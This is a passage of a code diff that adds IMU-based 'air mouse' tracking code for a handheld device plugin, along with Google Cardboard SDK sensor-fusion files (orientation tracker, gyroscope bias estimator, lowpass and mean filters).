const int8_t y = (int8_t)std::floor(dY + 0.5);
mouse_move(x, y, context);
// Only subtract the part of the error that was already sent.
if (x != 0) {
g_dYaw -= x / CURSOR_SPEED;
}
if (y != 0) {
g_dPitch -= y / CURSOR_SPEED;
}
}
void onOrientation(cardboard::Vector4& quaternion)
{
float q1 = quaternion[0]; // X * sin(T/2)
float q2 = quaternion[1]; // Y * sin(T/2)
float q3 = quaternion[2]; // Z * sin(T/2)
float q0 = quaternion[3]; // cos(T/2)
float yaw = std::atan2(2 * (q0 * q3 - q1 * q2), (1 - 2 * (q1 * q1 + q3 * q3)));
float pitch = std::asin(2 * (q0 * q1 + q2 * q3));
// float roll = std::atan2(2 * (q0 * q2 - q1 * q3), (1 - 2 * (q1 * q1 + q2 * q2)));
if (yaw == NAN || pitch == NAN) {
// NaN case, skip it
return;
}
if (firstRead) {
g_yaw = yaw;
g_pitch = pitch;
firstRead = false;
} else {
const float newYaw = highpass(g_yaw, yaw);
const float newPitch = highpass(g_pitch, pitch);
float dYaw = clamp(g_yaw - newYaw);
float dPitch = g_pitch - newPitch;
g_yaw = newYaw;
g_pitch = newPitch;
// Accumulate the error locally.
g_dYaw += dYaw;
g_dPitch += dPitch;
}
}
extern "C" {
void calibration_begin() {
calibration.reset();
FURI_LOG_I(TAG, "Calibrating");
}
bool calibration_step() {
if (calibration.isComplete())
return true;
double vec[6];
if (imu_read(vec) & GYR_DATA_READY) {
cardboard::Vector3 data(vec[3], vec[4], vec[5]);
furi_delay_ms(9); // Artificially limit to ~100Hz
return calibration.add(data);
}
return false;
}
void calibration_end() {
CalibrationMedian store;
cardboard::Vector3 median = calibration.getMedian();
store.x = median[0];
store.y = median[1];
store.z = median[2];
CALIBRATION_DATA_SAVE(&store);
}
void tracking_begin() {
CalibrationMedian store;
cardboard::Vector3 median = calibration.getMedian();
if (CALIBRATION_DATA_LOAD(&store)) {
median[0] = store.x;
median[1] = store.y;
median[2] = store.z;
}
ippms = furi_hal_cortex_instructions_per_microsecond();
ippms2 = ippms / 2;
tracker.SetCalibration(median);
tracker.Resume();
}
void tracking_step(MouseMoveCallback mouse_move, void *context) {
double vec[6];
int ret = imu_read(vec);
if (ret != 0) {
uint64_t t = (DWT->CYCCNT * 1000llu + ippms2) / ippms;
if (ret & ACC_DATA_READY) {
cardboard::AccelerometerData adata
= { .system_timestamp = t, .sensor_timestamp_ns = t,
.data = cardboard::Vector3(vec[0], vec[1], vec[2]) };
tracker.OnAccelerometerData(adata);
}
if (ret & GYR_DATA_READY) {
cardboard::GyroscopeData gdata
= { .system_timestamp = t, .sensor_timestamp_ns = t,
.data = cardboard::Vector3(vec[3], vec[4], vec[5]) };
cardboard::Vector4 pose = tracker.OnGyroscopeData(gdata);
onOrientation(pose);
sendCurrentState(mouse_move, context);
}
}
}
void tracking_end() {
tracker.Pause();
}
}
applications/plugins/airmouse/tracking/main_loop.h
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef bool (*MouseMoveCallback)(int8_t x, int8_t y, void* context);
void calibration_begin();
bool calibration_step();
void calibration_end();
void tracking_begin();
void tracking_step(MouseMoveCallback mouse_move, void* context);
void tracking_end();
#ifdef __cplusplus
}
#endif
applications/plugins/airmouse/tracking/orientation_tracker.cc
+95
View File
@@ -0,0 +1,95 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "orientation_tracker.h"
#include "sensors/pose_prediction.h"
#include "util/logging.h"
#include "util/vector.h"
#include "util/vectorutils.h"
namespace cardboard {
OrientationTracker::OrientationTracker(const long sampling_period_ns)
: sampling_period_ns_(sampling_period_ns)
, calibration_(Vector3::Zero())
, is_tracking_(false)
, sensor_fusion_(new SensorFusionEkf())
, latest_gyroscope_data_({ 0, 0, Vector3::Zero() })
{
sensor_fusion_->SetBiasEstimationEnabled(/*kGyroBiasEstimationEnabled*/ true);
}
void OrientationTracker::SetCalibration(const Vector3& calibration) {
calibration_ = calibration;
}
void OrientationTracker::Pause()
{
if (!is_tracking_) {
return;
}
// Create a gyro event with zero velocity. This effectively stops the prediction.
GyroscopeData event = latest_gyroscope_data_;
event.data = Vector3::Zero();
OnGyroscopeData(event);
is_tracking_ = false;
}
void OrientationTracker::Resume() { is_tracking_ = true; }
Vector4 OrientationTracker::GetPose(int64_t timestamp_ns) const
{
Rotation predicted_rotation;
const PoseState pose_state = sensor_fusion_->GetLatestPoseState();
if (sensor_fusion_->IsFullyInitialized()) {
predicted_rotation = pose_state.sensor_from_start_rotation;
} else {
CARDBOARD_LOGI("Tracker not fully initialized yet. Using pose prediction only.");
predicted_rotation = pose_prediction::PredictPose(timestamp_ns, pose_state);
}
return (-predicted_rotation).GetQuaternion();
}
void OrientationTracker::OnAccelerometerData(const AccelerometerData& event)
{
if (!is_tracking_) {
return;
}
sensor_fusion_->ProcessAccelerometerSample(event);
}
Vector4 OrientationTracker::OnGyroscopeData(const GyroscopeData& event)
{
if (!is_tracking_) {
return Vector4();
}
const GyroscopeData data = { .system_timestamp = event.system_timestamp,
.sensor_timestamp_ns = event.sensor_timestamp_ns,
.data = event.data - calibration_ };
latest_gyroscope_data_ = data;
sensor_fusion_->ProcessGyroscopeSample(data);
return OrientationTracker::GetPose(data.sensor_timestamp_ns + sampling_period_ns_);
}
} // namespace cardboard
applications/plugins/airmouse/tracking/orientation_tracker.h
+68
View File
@@ -0,0 +1,68 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <array>
#include <memory>
#include <mutex> // NOLINT
#include "sensors/accelerometer_data.h"
#include "sensors/gyroscope_data.h"
#include "sensors/sensor_fusion_ekf.h"
#include "util/rotation.h"
namespace cardboard {
// OrientationTracker encapsulates pose tracking by connecting sensors
// to SensorFusion.
// This pose tracker reports poses in display space.
class OrientationTracker {
public:
OrientationTracker(const long sampling_period_ns);
void SetCalibration(const Vector3& calibration);
// Pauses tracking and sensors.
void Pause();
// Resumes tracking ans sensors.
void Resume();
// Gets the predicted pose for a given timestamp.
Vector4 GetPose(int64_t timestamp_ns) const;
// Function called when receiving AccelerometerData.
//
// @param event sensor event.
void OnAccelerometerData(const AccelerometerData& event);
// Function called when receiving GyroscopeData.
//
// @param event sensor event.
Vector4 OnGyroscopeData(const GyroscopeData& event);
private:
long sampling_period_ns_;
Vector3 calibration_;
std::atomic<bool> is_tracking_;
// Sensor Fusion object that stores the internal state of the filter.
std::unique_ptr<SensorFusionEkf> sensor_fusion_;
// Latest gyroscope data.
GyroscopeData latest_gyroscope_data_;
};
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/accelerometer_data.h
+38
View File
@@ -0,0 +1,38 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_ACCELEROMETER_DATA_H_
#define CARDBOARD_SDK_SENSORS_ACCELEROMETER_DATA_H_
#include "../util/vector.h"
namespace cardboard {
struct AccelerometerData {
// System wall time.
uint64_t system_timestamp;
// Sensor clock time in nanoseconds.
uint64_t sensor_timestamp_ns;
// Acceleration force along the x,y,z axes in m/s^2. This follows android
// specification
// (https://developer.android.com/guide/topics/sensors/sensors_overview.html#sensors-coords).
Vector3 data;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_ACCELEROMETER_DATA_H_
applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.cc
+313
View File
@@ -0,0 +1,313 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "gyroscope_bias_estimator.h"
#include <algorithm>
#include <chrono> // NOLINT
#include "../util/rotation.h"
#include "../util/vector.h"
namespace {
// Cutoff frequencies in Hertz applied to our various signals, and their
// corresponding filters.
const float kAccelerometerLowPassCutOffFrequencyHz = 1.0f;
const float kRotationVelocityBasedAccelerometerLowPassCutOffFrequencyHz = 0.15f;
const float kGyroscopeLowPassCutOffFrequencyHz = 1.0f;
const float kGyroscopeBiasLowPassCutOffFrequencyHz = 0.15f;
// Note that MEMS IMU are not that precise.
const double kEpsilon = 1.0e-8;
// Size of the filtering window for the mean and median filter. The larger the
// windows the larger the filter delay.
const int kFilterWindowSize = 5;
// Threshold used to compare rotation computed from the accelerometer and the
// gyroscope bias.
const double kRatioBetweenGyroBiasAndAccel = 1.5;
// The minimum sum of weights we need to acquire before returning a bias
// estimation.
const float kMinSumOfWeightsGyroBiasThreshold = 25.0f;
// Amount of change in m/s^3 we allow on the smoothed accelerometer values to
// consider the phone static.
const double kAccelerometerDeltaStaticThreshold = 0.5;
// Amount of change in radians/s^2 we allow on the smoothed gyroscope values to
// consider the phone static.
const double kGyroscopeDeltaStaticThreshold = 0.03;
// If the gyroscope value is above this threshold, don't update the gyroscope
// bias estimation. This threshold is applied to the magnitude of gyroscope
// vectors in radians/s.
const float kGyroscopeForBiasThreshold = 0.30f;
// Used to monitor if accelerometer and gyroscope have been static for a few
// frames.
const int kStaticFrameDetectionThreshold = 50;
// Minimum time step between sensor updates.
const double kMinTimestep = 1; // std::chrono::nanoseconds(1);
} // namespace
namespace cardboard {
// A helper class to keep track of whether some signal can be considered static
// over specified number of frames.
class GyroscopeBiasEstimator::IsStaticCounter {
public:
// Initializes a counter with the number of consecutive frames we require
// the signal to be static before IsRecentlyStatic returns true.
//
// @param min_static_frames_threshold number of consecutive frames we
// require the signal to be static before IsRecentlyStatic returns true.
explicit IsStaticCounter(int min_static_frames_threshold)
: min_static_frames_threshold_(min_static_frames_threshold)
, consecutive_static_frames_(0)
{
}
// Specifies whether the current frame is considered static.
//
// @param is_static static flag for current frame.
void AppendFrame(bool is_static)
{
if (is_static) {
++consecutive_static_frames_;
} else {
consecutive_static_frames_ = 0;
}
}
// Returns if static movement is assumed.
bool IsRecentlyStatic() const
{
return consecutive_static_frames_ >= min_static_frames_threshold_;
}
// Resets counter.
void Reset() { consecutive_static_frames_ = 0; }
private:
const int min_static_frames_threshold_;
int consecutive_static_frames_;
};
GyroscopeBiasEstimator::GyroscopeBiasEstimator()
: accelerometer_lowpass_filter_(kAccelerometerLowPassCutOffFrequencyHz)
, simulated_gyroscope_from_accelerometer_lowpass_filter_(
kRotationVelocityBasedAccelerometerLowPassCutOffFrequencyHz)
, gyroscope_lowpass_filter_(kGyroscopeLowPassCutOffFrequencyHz)
, gyroscope_bias_lowpass_filter_(kGyroscopeBiasLowPassCutOffFrequencyHz)
, accelerometer_static_counter_(new IsStaticCounter(kStaticFrameDetectionThreshold))
, gyroscope_static_counter_(new IsStaticCounter(kStaticFrameDetectionThreshold))
, current_accumulated_weights_gyroscope_bias_(0.f)
, mean_filter_(kFilterWindowSize)
, median_filter_(kFilterWindowSize)
, last_mean_filtered_accelerometer_value_({ 0, 0, 0 })
{
Reset();
}
GyroscopeBiasEstimator::~GyroscopeBiasEstimator() { }
void GyroscopeBiasEstimator::Reset()
{
accelerometer_lowpass_filter_.Reset();
gyroscope_lowpass_filter_.Reset();
gyroscope_bias_lowpass_filter_.Reset();
accelerometer_static_counter_->Reset();
gyroscope_static_counter_->Reset();
}
void GyroscopeBiasEstimator::ProcessGyroscope(
const Vector3& gyroscope_sample, uint64_t timestamp_ns)
{
// Update gyroscope and gyroscope delta low-pass filters.
gyroscope_lowpass_filter_.AddSample(gyroscope_sample, timestamp_ns);
const auto smoothed_gyroscope_delta
= gyroscope_sample - gyroscope_lowpass_filter_.GetFilteredData();
gyroscope_static_counter_->AppendFrame(
Length(smoothed_gyroscope_delta) < kGyroscopeDeltaStaticThreshold);
// Only update the bias if the gyroscope and accelerometer signals have been
// relatively static recently.
if (gyroscope_static_counter_->IsRecentlyStatic()
&& accelerometer_static_counter_->IsRecentlyStatic()) {
// Reset static counter when updating the bias fails.
if (!UpdateGyroscopeBias(gyroscope_sample, timestamp_ns)) {
// Bias update fails because of large motion, thus reset the static
// counter.
gyroscope_static_counter_->AppendFrame(false);
}
} else {
// Reset weights, if not static.
current_accumulated_weights_gyroscope_bias_ = 0;
}
}
void GyroscopeBiasEstimator::ProcessAccelerometer(
const Vector3& accelerometer_sample, uint64_t timestamp_ns)
{
// Get current state of the filter.
const uint64_t previous_accel_timestamp_ns
= accelerometer_lowpass_filter_.GetMostRecentTimestampNs();
const bool is_low_pass_filter_init = accelerometer_lowpass_filter_.IsInitialized();
// Update accel and accel delta low-pass filters.
accelerometer_lowpass_filter_.AddSample(accelerometer_sample, timestamp_ns);
const auto smoothed_accelerometer_delta
= accelerometer_sample - accelerometer_lowpass_filter_.GetFilteredData();
accelerometer_static_counter_->AppendFrame(
Length(smoothed_accelerometer_delta) < kAccelerometerDeltaStaticThreshold);
// Rotation from accel cannot be differentiated with only one sample.
if (!is_low_pass_filter_init) {
simulated_gyroscope_from_accelerometer_lowpass_filter_.AddSample({ 0, 0, 0 }, timestamp_ns);
return;
}
// No need to update the simulated gyroscope at this point because the motion
// is too large.
if (!accelerometer_static_counter_->IsRecentlyStatic()) {
return;
}
median_filter_.AddSample(accelerometer_lowpass_filter_.GetFilteredData());
// This processing can only be started if the buffer is fully initialized.
if (!median_filter_.IsValid()) {
mean_filter_.AddSample(accelerometer_lowpass_filter_.GetFilteredData());
// Update the last filtered accelerometer value.
last_mean_filtered_accelerometer_value_ = accelerometer_lowpass_filter_.GetFilteredData();
return;
}
mean_filter_.AddSample(median_filter_.GetFilteredData());
// Compute a mock gyroscope value from accelerometer.
const int64_t diff = timestamp_ns - previous_accel_timestamp_ns;
const double timestep = static_cast<double>(diff);
simulated_gyroscope_from_accelerometer_lowpass_filter_.AddSample(
ComputeAngularVelocityFromLatestAccelerometer(timestep), timestamp_ns);
last_mean_filtered_accelerometer_value_ = mean_filter_.GetFilteredData();
}
Vector3 GyroscopeBiasEstimator::ComputeAngularVelocityFromLatestAccelerometer(double timestep) const
{
if (timestep < kMinTimestep) {
return { 0, 0, 0 };
}
const auto mean_of_median = mean_filter_.GetFilteredData();
// Compute an incremental rotation between the last state and the current
// state.
//
// Note that we switch to double precision here because of precision problem
// with small rotation.
const auto incremental_rotation = Rotation::RotateInto(
Vector3(last_mean_filtered_accelerometer_value_[0],
last_mean_filtered_accelerometer_value_[1], last_mean_filtered_accelerometer_value_[2]),
Vector3(mean_of_median[0], mean_of_median[1], mean_of_median[2]));
// We use axis angle here because this is how gyroscope values are stored.
Vector3 incremental_rotation_axis;
double incremental_rotation_angle;
incremental_rotation.GetAxisAndAngle(&incremental_rotation_axis, &incremental_rotation_angle);
incremental_rotation_axis *= incremental_rotation_angle / timestep;
return { static_cast<float>(incremental_rotation_axis[0]),
static_cast<float>(incremental_rotation_axis[1]),
static_cast<float>(incremental_rotation_axis[2]) };
}
bool GyroscopeBiasEstimator::UpdateGyroscopeBias(
const Vector3& gyroscope_sample, uint64_t timestamp_ns)
{
// Gyroscope values that are too big are potentially dangerous as they could
// originate from slow and steady head rotations.
//
// Therefore we compute an update weight which:
// * favors gyroscope values that are closer to 0
// * is set to zero if gyroscope values are greater than a threshold.
//
// This way, the gyroscope bias estimation converges faster if the phone is
// flat on a table, as opposed to held up somewhat stationary in the user's
// hands.
// If magnitude is too big, don't update the filter at all so that we don't
// artificially increase the number of samples accumulated by the filter.
const float gyroscope_sample_norm2 = Length(gyroscope_sample);
if (gyroscope_sample_norm2 >= kGyroscopeForBiasThreshold) {
return false;
}
float update_weight
= std::max(0.0f, 1 - gyroscope_sample_norm2 / kGyroscopeForBiasThreshold);
update_weight *= update_weight;
gyroscope_bias_lowpass_filter_.AddWeightedSample(
gyroscope_lowpass_filter_.GetFilteredData(), timestamp_ns, update_weight);
// This counter is only partially valid as the low pass filter drops large
// samples.
current_accumulated_weights_gyroscope_bias_ += update_weight;
return true;
}
Vector3 GyroscopeBiasEstimator::GetGyroscopeBias() const
{
return gyroscope_bias_lowpass_filter_.GetFilteredData();
}
bool GyroscopeBiasEstimator::IsCurrentEstimateValid() const
{
// Remove any bias component along the gravity because they cannot be
// evaluated from accelerometer.
const auto current_gravity_dir = Normalized(last_mean_filtered_accelerometer_value_);
const auto gyro_bias_lowpass = gyroscope_bias_lowpass_filter_.GetFilteredData();
const auto off_gravity_gyro_bias
= gyro_bias_lowpass - current_gravity_dir * Dot(gyro_bias_lowpass, current_gravity_dir);
// Checks that the current bias estimate is not correlated with the
// rotation computed from accelerometer.
const auto gyro_from_accel
= simulated_gyroscope_from_accelerometer_lowpass_filter_.GetFilteredData();
const bool isGyroscopeBiasCorrelatedWithSimulatedGyro
= (Length(gyro_from_accel) * kRatioBetweenGyroBiasAndAccel
> (Length(off_gravity_gyro_bias) + kEpsilon));
const bool hasEnoughSamples
= current_accumulated_weights_gyroscope_bias_ > kMinSumOfWeightsGyroBiasThreshold;
const bool areCountersStatic = gyroscope_static_counter_->IsRecentlyStatic()
&& accelerometer_static_counter_->IsRecentlyStatic();
const bool isStatic
= hasEnoughSamples && areCountersStatic && !isGyroscopeBiasCorrelatedWithSimulatedGyro;
return isStatic;
}
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.h
+134
View File
@@ -0,0 +1,134 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_GYROSCOPE_BIAS_ESTIMATOR_H_
#define CARDBOARD_SDK_SENSORS_GYROSCOPE_BIAS_ESTIMATOR_H_
#include <chrono> // NOLINT
#include <cstdint>
#include <list>
#include <memory>
#include <vector>
#include "lowpass_filter.h"
#include "mean_filter.h"
#include "median_filter.h"
#include "../util/vector.h"
namespace cardboard {
// Class that attempts to estimate the gyroscope's bias.
// Its main idea is that it averages the gyroscope values when the phone is
// considered stationary.
// Usage: A client should call the ProcessGyroscope and ProcessAccelerometer
// methods for every accelerometer and gyroscope sensor sample. This class
// expects these calls to be frequent, i.e., at least at 10 Hz. The client can
// then call GetGyroBias to retrieve the current estimate of the gyroscope bias.
// For best results, the fastest available delay option should be used when
// registering to sensors. Note that this class is not thread-safe.
//
// The filtering applied to the accelerometer to estimate a rotation
// from it follows :
// Baptiste Delporte, Laurent Perroton, Thierry Grandpierre, Jacques Trichet.
// Accelerometer and Magnetometer Based Gyroscope Emulation on Smart Sensor
// for a Virtual Reality Application. Sensor and Transducers Journal, 2012.
//
// which is a combination of a IIR filter, a median and a mean filter.
class GyroscopeBiasEstimator {
public:
GyroscopeBiasEstimator();
virtual ~GyroscopeBiasEstimator();
// Updates the estimator with a gyroscope event.
//
// @param gyroscope_sample the angular speed around the x, y, z axis in
// radians/sec.
// @param timestamp_ns the nanosecond at which the event occurred. Only
// guaranteed to be comparable with timestamps from other PocessGyroscope
// invocations.
virtual void ProcessGyroscope(const Vector3& gyroscope_sample, uint64_t timestamp_ns);
// Processes accelerometer samples to estimate if device is
// stable or not.
//
// First we filter the accelerometer. This is done with 3 filters.
// - A IIR low-pass filter
// - A median filter
// - A mean filter.
// Then a rotation is computed between consecutive filtered accelerometer
// samples.
// Finally this is converted to a velocity to emulate a gyroscope.
//
// @param accelerometer_sample the acceleration (including gravity) on the x,
// y, z axis in meters/s^2.
// @param timestamp_ns the nanosecond at which the event occurred. Only
// guaranteed to be comparable with timestamps from other
// ProcessAccelerometer invocations.
virtual void ProcessAccelerometer(const Vector3& accelerometer_sample, uint64_t timestamp_ns);
// Returns the estimated gyroscope bias.
//
// @return Estimated gyroscope bias. A vector with zeros is returned if no
// estimate has been computed.
virtual Vector3 GetGyroscopeBias() const;
// Resets the estimator state.
void Reset();
// Returns true if the current estimate returned by GetGyroscopeBias is
// correct. The device (measured using the sensors) has to be static for this
// function to return true.
virtual bool IsCurrentEstimateValid() const;
private:
// A helper class to keep track of whether some signal can be considered
// static over specified number of frames.
class IsStaticCounter;
// Updates gyroscope bias estimation.
//
// @return false if the current sample is too large.
bool UpdateGyroscopeBias(const Vector3& gyroscope_sample, uint64_t timestamp_ns);
// Returns device angular velocity (rad/s) from the latest accelerometer data.
//
// @param timestep in seconds between the last two samples.
// @return rotation velocity from latest accelerometer. This can be
// interpreted as an gyroscope.
Vector3 ComputeAngularVelocityFromLatestAccelerometer(double timestep) const;
LowpassFilter accelerometer_lowpass_filter_;
LowpassFilter simulated_gyroscope_from_accelerometer_lowpass_filter_;
LowpassFilter gyroscope_lowpass_filter_;
LowpassFilter gyroscope_bias_lowpass_filter_;
std::unique_ptr<IsStaticCounter> accelerometer_static_counter_;
std::unique_ptr<IsStaticCounter> gyroscope_static_counter_;
// Sum of the weight of sample used for gyroscope filtering.
float current_accumulated_weights_gyroscope_bias_;
// Set of filters for accelerometer data to estimate a rotation
// based only on accelerometer.
MeanFilter mean_filter_;
MedianFilter median_filter_;
// Last computed filter accelerometer value used for finite differences.
Vector3 last_mean_filtered_accelerometer_value_;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_GYROSCOPE_BIAS_ESTIMATOR_H_
applications/plugins/airmouse/tracking/sensors/gyroscope_data.h
+38
View File
@@ -0,0 +1,38 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_GYROSCOPE_DATA_H_
#define CARDBOARD_SDK_SENSORS_GYROSCOPE_DATA_H_
#include "../util/vector.h"
namespace cardboard {
struct GyroscopeData {
// System wall time.
uint64_t system_timestamp;
// Sensor clock time in nanoseconds.
uint64_t sensor_timestamp_ns;
// Rate of rotation around the x,y,z axes in rad/s. This follows android
// specification
// (https://developer.android.com/guide/topics/sensors/sensors_overview.html#sensors-coords).
Vector3 data;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_GYROSCOPE_DATA_H_
applications/plugins/airmouse/tracking/sensors/lowpass_filter.cc
+84
View File
@@ -0,0 +1,84 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "lowpass_filter.h"
#include <cmath>
namespace {
const double kSecondsFromNanoseconds = 1.0e-9;
// Minimum time step between sensor updates. This corresponds to 1000 Hz.
const double kMinTimestepS = 0.001f;
// Maximum time step between sensor updates. This corresponds to 1 Hz.
const double kMaxTimestepS = 1.00f;
} // namespace
namespace cardboard {
LowpassFilter::LowpassFilter(double cutoff_freq_hz)
: cutoff_time_constant_(1 / (2 * (double)M_PI * cutoff_freq_hz))
, initialized_(false)
{
Reset();
}
void LowpassFilter::AddSample(const Vector3& sample, uint64_t timestamp_ns)
{
AddWeightedSample(sample, timestamp_ns, 1.0);
}
void LowpassFilter::AddWeightedSample(const Vector3& sample, uint64_t timestamp_ns, double weight)
{
if (!initialized_) {
// Initialize filter state
filtered_data_ = { sample[0], sample[1], sample[2] };
timestamp_most_recent_update_ns_ = timestamp_ns;
initialized_ = true;
return;
}
if (timestamp_ns < timestamp_most_recent_update_ns_) {
timestamp_most_recent_update_ns_ = timestamp_ns;
return;
}
const double delta_s = static_cast<double>(timestamp_ns - timestamp_most_recent_update_ns_)
* kSecondsFromNanoseconds;
if (delta_s <= kMinTimestepS || delta_s > kMaxTimestepS) {
timestamp_most_recent_update_ns_ = timestamp_ns;
return;
}
const double weighted_delta_secs = weight * delta_s;
const double alpha = weighted_delta_secs / (cutoff_time_constant_ + weighted_delta_secs);
for (int i = 0; i < 3; ++i) {
filtered_data_[i] = (1 - alpha) * filtered_data_[i] + alpha * sample[i];
}
timestamp_most_recent_update_ns_ = timestamp_ns;
}
void LowpassFilter::Reset()
{
initialized_ = false;
filtered_data_ = { 0, 0, 0 };
}
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/lowpass_filter.h
+81
View File
@@ -0,0 +1,81 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef CARDBOARD_SDK_SENSORS_LOWPASS_FILTER_H_
#define CARDBOARD_SDK_SENSORS_LOWPASS_FILTER_H_
#include <array>
#include <memory>
#include "../util/vector.h"
namespace cardboard {
// Implements an IIR, first order, low pass filter over vectors of the given
// dimension = 3.
// See http://en.wikipedia.org/wiki/Low-pass_filter
class LowpassFilter {
public:
// Initializes a filter with the given cutoff frequency in Hz.
explicit LowpassFilter(double cutoff_freq_hz);
// Updates the filter with the given sample. Note that samples with
// non-monotonic timestamps and successive samples with a time steps below 1
// ms or above 1 s are ignored.
//
// @param sample current sample data.
// @param timestamp_ns timestamp associated to this sample in nanoseconds.
void AddSample(const Vector3& sample, uint64_t timestamp_ns);
// Updates the filter with the given weighted sample.
//
// @param sample current sample data.
// @param timestamp_ns timestamp associated to this sample in nanoseconds.
// @param weight typically a [0, 1] weight factor used when applying a new
// sample. A weight of 1 corresponds to calling AddSample. A weight of 0
// makes the update no-op. The first initial sample is not affected by
// this.
void AddWeightedSample(const Vector3& sample, uint64_t timestamp_ns, double weight);
// Returns the filtered value. A vector with zeros is returned if no samples
// have been added.
Vector3 GetFilteredData() const {
return filtered_data_;
}
// Returns the most recent update timestamp in ns.
uint64_t GetMostRecentTimestampNs() const {
return timestamp_most_recent_update_ns_;
}
// Returns true when the filter is initialized.
bool IsInitialized() const {
return initialized_;
}
// Resets filter state.
void Reset();
private:
const double cutoff_time_constant_;
uint64_t timestamp_most_recent_update_ns_;
bool initialized_;
Vector3 filtered_data_;
};
} // namespace cardboard
#endif // CARDBOARD_SDK_SENSORS_LOWPASS_FILTER_H_
applications/plugins/airmouse/tracking/sensors/mean_filter.cc
+46
View File
@@ -0,0 +1,46 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "mean_filter.h"
namespace cardboard {
MeanFilter::MeanFilter(size_t filter_size)
: filter_size_(filter_size)
{
}
void MeanFilter::AddSample(const Vector3& sample)
{
buffer_.push_back(sample);
if (buffer_.size() > filter_size_) {
buffer_.pop_front();
}
}
bool MeanFilter::IsValid() const { return buffer_.size() == filter_size_; }
Vector3 MeanFilter::GetFilteredData() const
{
// Compute mean of the samples stored in buffer_.
Vector3 mean = Vector3::Zero();
for (auto sample : buffer_) {
mean += sample;
}
return mean / static_cast<double>(filter_size_);
}
} // namespace cardboard
applications/plugins/airmouse/tracking/sensors/mean_filter.h
+48
View File
@@ -0,0 +1,48 @@
/*
* Copyright 2019 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
